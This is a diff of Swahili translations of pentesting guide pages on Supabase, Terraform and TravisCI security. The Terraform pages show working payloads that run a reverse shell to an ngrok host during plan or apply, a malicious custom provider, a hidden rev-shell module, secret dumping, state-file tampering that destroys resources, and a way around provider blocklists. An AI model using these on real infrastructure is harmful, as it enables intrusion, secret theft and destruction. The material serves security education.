-### funguo za siri / service_role api +### funguo za siri / huduma_role api Funguo ya siri ya API pia itaundwa na **`role: "service_role"`**. Funguo hii ya API inapaswa kuwa ya siri kwa sababu itakuwa na uwezo wa kupita **Row Level Security**. @@ -116,9 +116,9 @@ Funguo ya API inaonekana kama hii: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3M ### Usajili > [!TIP] -> Kwa **kawaida** supabase itaruhusu **watumiaji wapya kuunda akaunti** kwenye mradi wako kwa kutumia viungo vya API vilivyotajwa hapo awali. +> Kwa **kawaida** supabase itaruhusu **watumiaji wapya kuunda akaunti** kwenye mradi wako kwa kutumia njia za API zilizotajwa hapo awali. -Hata hivyo, akaunti hizi mpya, kwa kawaida, **zitahitaji kuthibitisha anwani yao ya barua pepe** ili waweze kuingia kwenye akaunti. Inawezekana kuwezesha **"Ruhusu kuingia kwa siri"** ili kuruhusu watu kuingia bila kuthibitisha anwani yao ya barua pepe. Hii inaweza kutoa ufikiaji wa **data zisizotarajiwa** (wanapata majukumu `public` na `authenticated`).\ +Hata hivyo, akaunti hizi mpya, kwa kawaida, **zitahitaji kuthibitisha anwani yao ya barua pepe** ili waweze kuingia kwenye akaunti. Inawezekana kuwezesha **"Ruhusu kuingia bila jina"** ili kuruhusu watu kuingia bila kuthibitisha anwani yao ya barua pepe. Hii inaweza kutoa ufikiaji wa **data zisizotarajiwa** (wanapata majukumu `public` na `authenticated`).\ Hii ni wazo mbaya sana kwa sababu supabase inatoza kwa kila mtumiaji aliye hai hivyo watu wanaweza kuunda watumiaji na kuingia na supabase itatoza kwa hao:
@@ -140,13 +140,13 @@ Inawezekana kuweka SMTP kutuma barua pepe. - Weka muda wa kuisha kwa funguo za ufikiaji (3600 kwa kawaida) - Weka kugundua na kufuta funguo za upya zinazoweza kuwa na hatari na muda wa kuisha - MFA: Onyesha ni vigezo vingapi vya MFA vinaweza kuandikishwa kwa wakati mmoja kwa mtumiaji (10 kwa kawaida) -- Max Direct Database Connections: Idadi ya juu ya muunganisho inayotumika kuthibitisha (10 kwa kawaida) +- Max Direct Database Connections: Idadi ya juu ya muunganisho inayotumika kwa uthibitisho (10 kwa kawaida) - Max Request Duration: Muda wa juu unaoruhusiwa kwa ombi la Auth kudumu (10s kwa kawaida) ## Hifadhi > [!TIP] -> Supabase inaruhusu **kuhifadhi faili** na kuzipatia ufikiaji kupitia URL (inatumia S3 buckets). +> Supabase inaruhusu **hifadhi ya faili** na kufanya zipatikane kupitia URL (inatumia S3 buckets). - Weka kikomo cha ukubwa wa faili zinazopakiwa (kawaida ni 50MB) - Muunganisho wa S3 unapatikana kwa URL kama: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` @@ -154,6 +154,6 @@ Inawezekana kuweka SMTP kutuma barua pepe. ## Edge Functions -Inawezekana **kuhifadhi siri** katika supabase pia ambazo zitakuwa **zinapatikana na edge functions** (zinaweza kuundwa na kufutwa kutoka kwenye wavuti, lakini haiwezekani kufikia thamani yao moja kwa moja). +Inawezekana **hifadhi siri** katika supabase pia ambazo zitakuwa **zinapatikana na edge functions** (zinaweza kuundwa na kufutwa kutoka kwenye wavuti, lakini haiwezekani kufikia thamani yao moja kwa moja). {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 9ec947c63..40fa28c93 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -1,44 +1,44 @@ -# Terraform Security +# Usalama wa Terraform {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Taarifa za Msingi -[From the docs:](https://developer.hashicorp.com/terraform/intro) +[Kutoka kwenye nyaraka:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform ni **chombo cha miundombinu kama msimbo** ambacho kinakuruhusu kufafanua **rasilimali za wingu na za ndani** katika faili za usanidi zinazoweza kusomeka na binadamu ambazo unaweza kuandika, kutumia tena, na kushiriki. Kisha unaweza kutumia mtiririko wa kazi unaofanana ili kuandaa na kusimamia miundombinu yako yote wakati wa mzunguko wake wa maisha. Terraform inaweza kusimamia vipengele vya chini kama vile kompyuta, uhifadhi, na rasilimali za mtandao, pamoja na vipengele vya juu kama vile entries za DNS na vipengele vya SaaS. +HashiCorp Terraform ni **chombo cha miundombinu kama msimbo** ambacho kinakuruhusu kufafanua **rasilimali za wingu na za ndani** katika faili za usanidi zinazoweza kusomwa na binadamu ambazo unaweza kuziandika, kuzitumia tena, na kuzishiriki. Kisha unaweza kutumia mtiririko wa kazi unaofanana ili kuandaa na kusimamia miundombinu yako yote wakati wa mzunguko wake wa maisha. Terraform inaweza kusimamia vipengele vya chini kama vile kompyuta, uhifadhi, na rasilimali za mtandao, pamoja na vipengele vya juu kama vile entries za DNS na vipengele vya SaaS. -#### How does Terraform work? +#### Terraform inafanya kazi vipi? Terraform inaunda na kusimamia rasilimali kwenye majukwaa ya wingu na huduma nyingine kupitia interfaces zao za programu za maombi (APIs). Watoa huduma wanaruhusu Terraform kufanya kazi na karibu jukwaa au huduma yoyote yenye API inayopatikana. ![](<../images/image (177).png>) -HashiCorp na jamii ya Terraform tayari wameandika **zaidi ya watoa huduma 1700** kusimamia maelfu ya aina tofauti za rasilimali na huduma, na nambari hii inaendelea kukua. Unaweza kupata watoa huduma wote wanaopatikana hadharani kwenye [Terraform Registry](https://registry.terraform.io/), ikiwa ni pamoja na Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, na mengine mengi. +HashiCorp na jamii ya Terraform tayari wameandika **watoa huduma zaidi ya 1700** kusimamia maelfu ya aina tofauti za rasilimali na huduma, na nambari hii inaendelea kukua. Unaweza kupata watoa huduma wote wanaopatikana hadharani kwenye [Terraform Registry](https://registry.terraform.io/), ikiwa ni pamoja na Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, na mengine mengi. Mtiririko wa msingi wa Terraform unajumuisha hatua tatu: -- **Write:** Unafafanua rasilimali, ambazo zinaweza kuwa kati ya watoa huduma na huduma mbalimbali za wingu. Kwa mfano, unaweza kuunda usanidi wa kupeleka programu kwenye mashine za virtual katika mtandao wa Virtual Private Cloud (VPC) pamoja na vikundi vya usalama na balancer ya mzigo. -- **Plan:** Terraform inaunda mpango wa utekelezaji unaofafanua miundombinu itakayoundwa, kusasishwa, au kuharibiwa kulingana na miundombinu iliyopo na usanidi wako. -- **Apply:** Kwa idhini, Terraform inatekeleza operesheni zilizopendekezwa kwa mpangilio sahihi, ikiheshimu utegemezi wowote wa rasilimali. Kwa mfano, ikiwa unasasisha mali za VPC na kubadilisha idadi ya mashine za virtual katika VPC hiyo, Terraform itaunda upya VPC kabla ya kupanua mashine za virtual. +- **Andika:** Unafafanua rasilimali, ambazo zinaweza kuwa kwenye watoa huduma na huduma nyingi za wingu. Kwa mfano, unaweza kuunda usanidi wa kupeleka programu kwenye mashine za virtual katika mtandao wa Virtual Private Cloud (VPC) pamoja na vikundi vya usalama na balancer ya mzigo. +- **Panga:** Terraform inaunda mpango wa utekelezaji unaofafanua miundombinu itakayoundwa, kusasishwa, au kuharibiwa kulingana na miundombinu iliyopo na usanidi wako. +- **Tumia:** Kwa idhini, Terraform inatekeleza operesheni zilizopendekezwa kwa mpangilio sahihi, ikiheshimu utegemezi wowote wa rasilimali. Kwa mfano, ikiwa unasasisha mali za VPC na kubadilisha idadi ya mashine za virtual katika VPC hiyo, Terraform itaunda upya VPC kabla ya kupanua mashine za virtual. ![](<../images/image (215).png>) -### Terraform Lab +### Maabara ya Terraform Sakinisha terraform kwenye kompyuta yako. -Hapa una [mwongozo](https://learn.hashicorp.com/tutorials/terraform/install-cli) na hapa una [njia bora ya kupakua terraform](https://www.terraform.io/downloads). +Hapa una [mwongozo](https://learn.hashicorp.com/tutorials/terraform/install-cli) na hapa una njia [bora ya kupakua terraform](https://www.terraform.io/downloads). -## RCE in Terraform +## RCE katika Terraform -Terraform **haina jukwaa linalofichua ukurasa wa wavuti au huduma ya mtandao** tunaweza kuhesabu, kwa hivyo, njia pekee ya kuathiri terraform ni **kuwa na uwezo wa kuongeza/kubadilisha faili za usanidi za terraform**. +Terraform **haina jukwaa linalofichua ukurasa wa wavuti au huduma ya mtandao** tunaweza kuhesabu, kwa hivyo, njia pekee ya kuathiri terraform ni **kuwa na uwezo wa kuongeza/kubadilisha faili za usanidi wa terraform**. -Hata hivyo, terraform ni **kipengele nyeti sana** kuathiri kwa sababu itakuwa na **ufikiaji wa kijasiri** kwa maeneo tofauti ili iweze kufanya kazi ipasavyo. +Hata hivyo, terraform ni **kipengele nyeti sana** kuathiri kwa sababu itakuwa na **ufikiaji wa kipaumbele** kwenye maeneo tofauti ili iweze kufanya kazi ipasavyo. Njia kuu kwa mshambuliaji kuwa na uwezo wa kuathiri mfumo ambapo terraform inafanya kazi ni **kuathiri hifadhi inayohifadhi usanidi wa terraform**, kwa sababu kwa wakati fulani wata **fasiriwa**. -Kwa kweli, kuna suluhisho huko nje ambazo **zinafanya mpango wa terraform/kuomba kiotomatiki baada ya PR** kuundwa, kama **Atlantis**: +Kwa kweli, kuna suluhisho huko nje ambazo **zinafanya mpango wa terraform/tumia kiotomatiki baada ya PR** kuundwa, kama **Atlantis**: {{#ref}} atlantis-security.md @@ -46,23 +46,23 @@ atlantis-security.md Ikiwa una uwezo wa kuathiri faili ya terraform kuna njia tofauti unaweza kufanya RCE wakati mtu anatekeleza `terraform plan` au `terraform apply`. -### Terraform plan +### Mpango wa Terraform -Terraform plan ni **amri inayotumika zaidi** katika terraform na waendelezaji/misitu inayotumia terraform huipigia simu kila wakati, hivyo **njia rahisi ya kupata RCE** ni kuhakikisha unachafua faili ya usanidi wa terraform ambayo itatekeleza amri zisizo za kawaida katika `terraform plan`. +Mpango wa Terraform ni **amri inayotumika zaidi** katika terraform na waendelezaji/mifumo inayotumia terraform huipigia simu kila wakati, hivyo **njia rahisi ya kupata RCE** ni kuhakikisha unachafua faili ya usanidi wa terraform ambayo itatekeleza amri zisizo za kawaida katika `terraform plan`. -**Using an external provider** +**Kutumia mtoa huduma wa nje** Terraform inatoa [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) ambayo inatoa njia ya kuunganishwa kati ya Terraform na programu za nje. Unaweza kutumia chanzo cha data `external` kuendesha msimbo wowote wakati wa `plan`. -Kuingiza katika faili ya usanidi wa terraform kitu kama ifuatavyo kitatekeleza shell ya rev wakati wa kutekeleza `terraform plan`: +Kuingiza katika faili ya usanidi wa terraform kitu kama ifuatavyo kutaendesha shell ya rev wakati wa kutekeleza `terraform plan`: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` -**Kutumia mtoa huduma maalum** +**Kutumia mtoa huduma wa kawaida** -Mshambuliaji anaweza kutuma [mtoa huduma maalum](https://learn.hashicorp.com/tutorials/terraform/provider-setup) kwenye [Terraform Registry](https://registry.terraform.io/) na kisha kuiongeza kwenye msimbo wa Terraform katika tawi la kipengele ([mfano kutoka hapa](https://alex.kaskaso.li/post/terraform-plan-rce)): +Mshambuliaji anaweza kutuma [mtoa huduma wa kawaida](https://learn.hashicorp.com/tutorials/terraform/provider-setup) kwenye [Terraform Registry](https://registry.terraform.io/) na kisha kuiongeza kwenye msimbo wa Terraform katika tawi la kipengele ([mfano kutoka hapa](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -75,7 +75,7 @@ version = "1.0" provider "evil" {} ``` -Mtoa huduma hupakuliwa katika `init` na utaendesha msimbo mbaya wakati `plan` inatekelezwa +Mtoa huduma anapakuliwa katika `init` na atatekeleza msimbo mbaya wakati `plan` inatekelezwa. Unaweza kupata mfano katika [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) @@ -83,20 +83,20 @@ Unaweza kupata mfano katika [https://github.com/rung/terraform-provider-cmdexec] Chaguzi zote zilizotajwa ni muhimu lakini si za siri sana (ya pili ni ya siri zaidi lakini ngumu zaidi kuliko ya kwanza). Unaweza kufanya shambulio hili hata kwa njia **ya siri zaidi**, kwa kufuata mapendekezo haya: -- Badala ya kuongeza rev shell moja kwa moja kwenye faili ya terraform, unaweza **kupakia rasilimali ya nje** ambayo ina rev shell: +- Badala ya kuongeza rev shell moja kwa moja kwenye faili la terraform, unaweza **kupakia rasilimali ya nje** ambayo ina rev shell: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +Unaweza kupata msimbo wa rev shell katika [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **kodi ya terraform rev shell katika tawi** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **msimbo wa terraform rev shell katika tawi** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply Terraform apply itatekelezwa ili kutekeleza mabadiliko yote, unaweza pia kuitumia vibaya kupata RCE kwa kuingiza **faili ya Terraform yenye** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -Unahitaji tu kuhakikisha kuwa payload fulani kama ifuatavyo inamalizika katika faili ya `main.tf`: +Unahitaji tu kuhakikisha kuwa payload kama ifuatavyo inamalizika katika faili ya `main.tf`: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -112,27 +112,27 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**. +Fuata **mapendekezo kutoka kwa mbinu ya awali** ili kufanikisha shambulio hili kwa **njia ya siri zaidi kwa kutumia marejeleo ya nje**. -## Secrets Dumps +## Mifuko ya Siri -You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like: +Unaweza kuwa na **thamani za siri zinazotumiwa na terraform zikiwa zimeandikwa** ukikimbia `terraform apply` kwa kuongeza kwenye faili ya terraform kitu kama: ```json output "dotoken" { value = nonsensitive(var.do_token) } ``` -## Abusing Terraform State Files +## Kutumia Faili za Hali za Terraform -Katika hali ambapo una ufikiaji wa kuandika kwenye faili za hali za terraform lakini huwezi kubadilisha msimbo wa terraform, [**utafiti huu**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) unatoa chaguzi za kuvutia za kunufaika na faili hiyo: +Ikiwa una ufikiaji wa kuandika juu ya faili za hali za terraform lakini huwezi kubadilisha msimbo wa terraform, [**utafiti huu**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) unatoa chaguzi za kuvutia za kunufaika na faili hiyo: -### Deleting resources +### Kuondoa rasilimali Kuna njia 2 za kuharibu rasilimali: -1. **Weka rasilimali yenye jina la nasibu kwenye faili la hali ikielekeza kwenye rasilimali halisi ya kuharibu** +1. **Ingiza rasilimali yenye jina la nasibu kwenye faili la hali ikielekeza kwenye rasilimali halisi ya kuondoa** -Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiharibu (ikifuatilia kitambulisho halisi cha rasilimali kilichotajwa). Mfano kutoka ukurasa wa awali: +Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiondoa (ikifuatilia kitambulisho halisi cha rasilimali kilichotajwa). Mfano kutoka ukurasa wa awali: ```json { "mode": "managed", @@ -150,11 +150,11 @@ Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiharibu ( ``` 2. **Badilisha rasilimali ili kufuta kwa njia ambayo haiwezekani kuisasisha (hivyo itafutwa na kuundwa upya)** -Kwa mfano la EC2, kubadilisha aina ya mfano ni ya kutosha kufanya terraform ifute na kuunda upya. +Kwa mfano wa EC2, kubadilisha aina ya mfano ni ya kutosha kufanya terraform ifute na kuunda upya. ### RCE -Pia inawezekana [kuunda mtoa huduma maalum](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) na kubadilisha tu mmoja wa watoa huduma katika faili ya hali ya terraform kwa yule mbaya au kuongeza rasilimali tupu na mtoa huduma mbaya. Mfano kutoka kwa utafiti wa awali: +Pia inawezekana [kuunda mtoa huduma maalum](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) na kubadilisha tu mmoja wa watoa huduma katika faili ya hali ya terraform kwa yule mbaya au kuongeza rasilimali tupu na mtoa huduma mbaya. Mfano kutoka utafiti wa awali: ```json "resources": [ { @@ -167,9 +167,9 @@ Pia inawezekana [kuunda mtoa huduma maalum](https://developer.hashicorp.com/terr ] }, ``` -### Replace blacklisted provider +### Badilisha mtoa huduma aliyeorodheshwa -Katika hali unayokutana nayo ambapo `hashicorp/external` imewekwa kwenye orodha ya mablacklist, unaweza kuitekeleza tena `external` provider kwa kufanya yafuatayo. Kumbuka: Tunatumia fork ya external provider iliyochapishwa na https://registry.terraform.io/providers/nazarewk/external/latest. Unaweza kuchapisha fork yako mwenyewe au utekelezaji tena pia. +Ikiwa unakutana na hali ambapo `hashicorp/external` imeorodheshwa, unaweza kuanzisha upya mtoa huduma `external` kwa kufanya yafuatayo. Kumbuka: Tunatumia fork ya mtoa huduma wa external iliyochapishwa na https://registry.terraform.io/providers/nazarewk/external/latest. Unaweza kuchapisha fork yako mwenyewe au utekelezaji wa upya pia. ```terraform terraform { required_providers { @@ -180,7 +180,7 @@ version = "3.0.0" } } ``` -Kisha unaweza kutumia `external` kama kawaida. +Basi unaweza kutumia `external` kama kawaida. ```terraform data "external" "example" { program = ["sh", "-c", "whoami"] @@ -190,12 +190,12 @@ program = ["sh", "-c", "whoami"] ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk inatoa suluhisho kamili la skanning ya Infrastructure as Code (IaC) linalogundua udhaifu na mipangilio isiyo sahihi katika Terraform, CloudFormation, Kubernetes, na mifumo mingine ya IaC. +Snyk inatoa suluhisho kamili la skanning ya Infrastructure as Code (IaC) linalogundua udhaifu na mipangilio isiyo sahihi katika Terraform, CloudFormation, Kubernetes, na fomati nyingine za IaC. - **Vipengele:** -- Skanning ya wakati halisi kwa ajili ya udhaifu wa usalama na masuala ya ufuatiliaji. -- Uunganisho na mifumo ya udhibiti wa toleo (GitHub, GitLab, Bitbucket). -- Maombi ya kurekebisha yaliyotolewa kiotomatiki. +- Skanning ya wakati halisi kwa ajili ya udhaifu wa usalama na masuala ya kufuata sheria. +- Uunganisho na mifumo ya kudhibiti toleo (GitHub, GitLab, Bitbucket). +- Maombi ya kurekebisha otomatiki. - Ushauri wa kina wa kurekebisha. - **Jisajili:** Unda akaunti kwenye [Snyk](https://snyk.io/). ```bash @@ -210,7 +210,7 @@ snyk iac test /path/to/terraform/code Inachanganua miundombinu ya wingu iliyotolewa kwa kutumia [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), au [OpenTofu](https://opentofu.org/) na kugundua usalama na makosa ya kufuata sheria kwa kutumia uchambuzi wa msingi wa grafu. -Inafanya [Uchambuzi wa Muundo wa Programu (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) ambayo ni uchambuzi wa pakiti za chanzo wazi na picha kwa ajili ya Uthibitisho wa Hatari na Ufunuo wa Pamoja (CVEs). +Inafanya [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) ambayo ni uchambuzi wa pakiti za chanzo wazi na picha kwa ajili ya Uthibitisho wa Uthibitisho wa Pamoja (CVEs). ```bash pip install checkov checkov -d /path/to/folder @@ -223,7 +223,7 @@ From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-com - **behaviour driven development:** Tuna BDD kwa karibu kila kitu, kwa nini isiwe kwa IaC? - **portable:** sakinisha tu kutoka `pip` au uendeshe kupitia `docker`. Tazama [Installation](https://terraform-compliance.com/pages/installation/) - **pre-deploy:** inathibitisha msimbo wako kabla ya kupelekwa -- **easy to integrate:** inaweza kukimbia katika mchakato wako (au katika git hooks) ili kuhakikisha kwamba mawasilisho yote yamehakikishwa. +- **easy to integrate:** inaweza kukimbia katika mchakato wako (au katika git hooks) ili kuhakikisha kwamba uhamasishaji wote umethibitishwa. - **segregation of duty:** unaweza kuweka majaribio yako katika hazina tofauti ambapo timu tofauti inawajibika. > [!NOTE] @@ -235,39 +235,39 @@ terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) -From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec inatumia uchambuzi wa statiki wa msimbo wako wa terraform ili kugundua uwezekano wa makosa ya usanidi. +Kutoka kwenye [**docs**](https://github.com/aquasecurity/tfsec): tfsec inatumia uchambuzi wa statiki wa msimbo wako wa terraform ili kugundua uwezekano wa makosa ya usanidi. - ☁️ Inakagua makosa ya usanidi katika watoa huduma wote wakuu (na wengine wadogo) - ⛔ Mamia ya sheria zilizojengwa ndani -- 🪆 Inachunguza moduli (za ndani na za mbali) +- 🪆 Inachanganua moduli (za ndani na za mbali) - ➕ Inakadiria maelezo ya HCL pamoja na thamani halisi - ↪️ Inakadiria kazi za Terraform mfano `concat()` - 🔗 Inakadiria uhusiano kati ya rasilimali za Terraform - 🧰 Inafaa na Terraform CDK - 🙅 Inatumia (na kuimarisha) sera za Rego zilizofafanuliwa na mtumiaji -- 📃 Inasaidia muundo mbalimbali wa matokeo: nzuri (ya default), JSON, SARIF, CSV, CheckStyle, JUnit, maandiko, Gif. +- 📃 Inasaidia muundo mbalimbali wa matokeo: nzuri (ya kawaida), JSON, SARIF, CSV, CheckStyle, JUnit, maandiko, Gif. - 🛠️ Inaweza kubadilishwa (kupitia bendera za CLI na/au faili ya usanidi) -- ⚡ Haraka sana, ina uwezo wa kuchunguza haraka hifadhi kubwa +- ⚡ Haraka sana, ina uwezo wa kuchanganua haraka hifadhi kubwa ```bash brew install tfsec tfsec /path/to/folder ``` ### [KICKS](https://github.com/Checkmarx/kics) -Pata udhaifu wa usalama, masuala ya ulinganifu, na makosa ya usanidi wa miundombinu mapema katika mzunguko wa maendeleo wa miundombinu yako kama msimbo kwa kutumia **KICS** kutoka Checkmarx. +Pata udhaifu wa usalama, masuala ya ufuatiliaji, na makosa ya miundombinu mapema katika mzunguko wa maendeleo wa miundombinu yako kama msimbo kwa kutumia **KICS** kutoka Checkmarx. -**KICS** inasimama kwa **K**uendelea **I**miundombinu kama **C**ode **S**alama, ni chanzo wazi na ni lazima kuwa nacho kwa mradi wowote wa wingu asilia. +**KICS** inasimama kwa **K**uhifadhi **I**miundombinu kama **C**ode **S**alama, ni chanzo wazi na ni lazima kuwa nacho kwa mradi wowote wa wingu asilia. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -Kutoka kwa [**docs**](https://github.com/tenable/terrascan): Terrascan ni mchambuzi wa msimbo wa statiki kwa Miundombinu kama Msimbo. Terrascan inakuwezesha: +Kutoka kwenye [**docs**](https://github.com/tenable/terrascan): Terrascan ni mchambuzi wa msimbo wa statiki kwa Miundombinu kama Msimbo. Terrascan inakuwezesha: - Kuchunguza miundombinu kama msimbo kwa makosa ya usanidi bila shida. - Kufuatilia miundombinu ya wingu iliyotolewa kwa mabadiliko ya usanidi yanayoleta mabadiliko ya hali, na inaruhusu kurudi kwenye hali salama. -- Kugundua udhaifu wa usalama na ukiukaji wa kufuata. -- Kupunguza hatari kabla ya kutoa miundombinu asilia ya wingu. +- Kugundua udhaifu wa usalama na ukiukaji wa kufuata sheria. +- Kupunguza hatari kabla ya kutoa miundombinu ya asili ya wingu. - Inatoa kubadilika kukimbia kwa ndani au kuungana na CI\CD yako. ```bash brew install terrascan diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md index 8d5b20e54..6fbb505fd 100644 --- a/src/pentesting-ci-cd/todo.md +++ b/src/pentesting-ci-cd/todo.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -Github PRs zinakaribishwa zikielezea jinsi ya (kutumia vibaya) hizo platforms kutoka kwa mtazamo wa mshambuliaji +Github PRs zinakaribishwa zikielezea jinsi ya (kutumia vibaya) majukwaa hayo kutoka kwa mtazamo wa mshambuliaji - Drone - TeamCity diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index f17d29b9c..1f4ac8376 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -1,63 +1,63 @@ -# TravisCI Security +# TravisCI Usalama {{#include ../../banners/hacktricks-training.md}} -## What is TravisCI +## Nini maana ya TravisCI -**Travis CI** ni huduma ya **kuendelea kuunganisha** iliyohifadhiwa au kwenye **premises** inayotumika kujenga na kujaribu miradi ya programu iliyohifadhiwa kwenye **jukwaa tofauti za git**. +**Travis CI** ni huduma ya **kuendelea kuunganisha** inayoweza kuwa **imehifadhiwa** au kwenye **premises** inayotumika kujenga na kujaribu miradi ya programu iliyohifadhiwa kwenye **jukwaa tofauti la git**. {{#ref}} basic-travisci-information.md {{#endref}} -## Attacks +## Mashambulizi -### Triggers +### Vichocheo -Ili kuanzisha shambulio, kwanza unahitaji kujua jinsi ya kuanzisha ujenzi. Kwa kawaida, TravisCI itafanya **kuanzisha ujenzi kwenye push na pull requests**: +Ili kuanzisha shambulizi, kwanza unahitaji kujua jinsi ya kuanzisha ujenzi. Kwa kawaida, TravisCI itafanya **kuanzisha ujenzi kwenye push na ombi la kuvuta**: ![](<../../images/image (145).png>) -#### Cron Jobs +#### Kazi za Cron -Ikiwa una ufikiaji wa programu ya wavuti, unaweza **kweka crons kuendesha ujenzi**, hii inaweza kuwa muhimu kwa kudumu au kuanzisha ujenzi: +Ikiwa una ufikiaji wa programu ya wavuti, unaweza **kweka kazi za cron kuendesha ujenzi**, hii inaweza kuwa muhimu kwa kudumu au kuanzisha ujenzi: ![](<../../images/image (243).png>) > [!NOTE] -> Inaonekana haiwezekani kuweka crons ndani ya `.travis.yml` kulingana na [hii](https://github.com/travis-ci/travis-ci/issues/9162). +> Inaonekana haiwezekani kuweka kazi za cron ndani ya `.travis.yml` kulingana na [hii](https://github.com/travis-ci/travis-ci/issues/9162). -### Third Party PR +### PR za Watu wa Tatu -TravisCI kwa kawaida inazima kushiriki mabadiliko ya mazingira na PRs zinazotoka kwa wahusika wengine, lakini mtu anaweza kuweza kuziwasha na kisha unaweza kuunda PRs kwa repo na kuhamasisha siri: +TravisCI kwa kawaida inazima kushiriki mabadiliko ya mazingira na PR zinazotoka kwa watu wa tatu, lakini mtu anaweza kuziwezesha na kisha unaweza kuunda PR kwa repo na kuhamasisha siri: ![](<../../images/image (208).png>) -### Dumping Secrets +### Kutupa Siri -Kama ilivyoelezwa kwenye ukurasa wa [**basic information**](basic-travisci-information.md), kuna aina 2 za siri. **Siri za Mabadiliko ya Mazingira** (ambazo ziko kwenye ukurasa wa wavuti) na **siri za kawaida zilizofichwa**, ambazo zimehifadhiwa ndani ya faili ya `.travis.yml` kama base64 (kumbuka kwamba zote zikiwa zimehifadhiwa kwa siri zitakuwa kama mabadiliko ya mazingira kwenye mashine za mwisho). +Kama ilivyoelezwa kwenye ukurasa wa [**taarifa za msingi**](basic-travisci-information.md), kuna aina 2 za siri. **Siri za Mabadiliko ya Mazingira** (ambazo ziko kwenye ukurasa wa wavuti) na **siri za siri zilizowekwa**, ambazo zimehifadhiwa ndani ya faili ya `.travis.yml` kama base64 (kumbuka kwamba zote zikiwa zimehifadhiwa kwa siri zitakuwa kama mabadiliko ya mazingira kwenye mashine za mwisho). - Ili **kuhesabu siri** zilizowekwa kama **Mabadiliko ya Mazingira**, nenda kwenye **mipangilio** ya **mradi** na angalia orodha. Hata hivyo, kumbuka kwamba mabadiliko yote ya mazingira ya mradi yaliyowekwa hapa yataonekana unapofanya ujenzi. -- Ili kuhesabu **siri za kawaida zilizofichwa**, bora unachoweza kufanya ni **kuangalia faili ya `.travis.yml`**. -- Ili 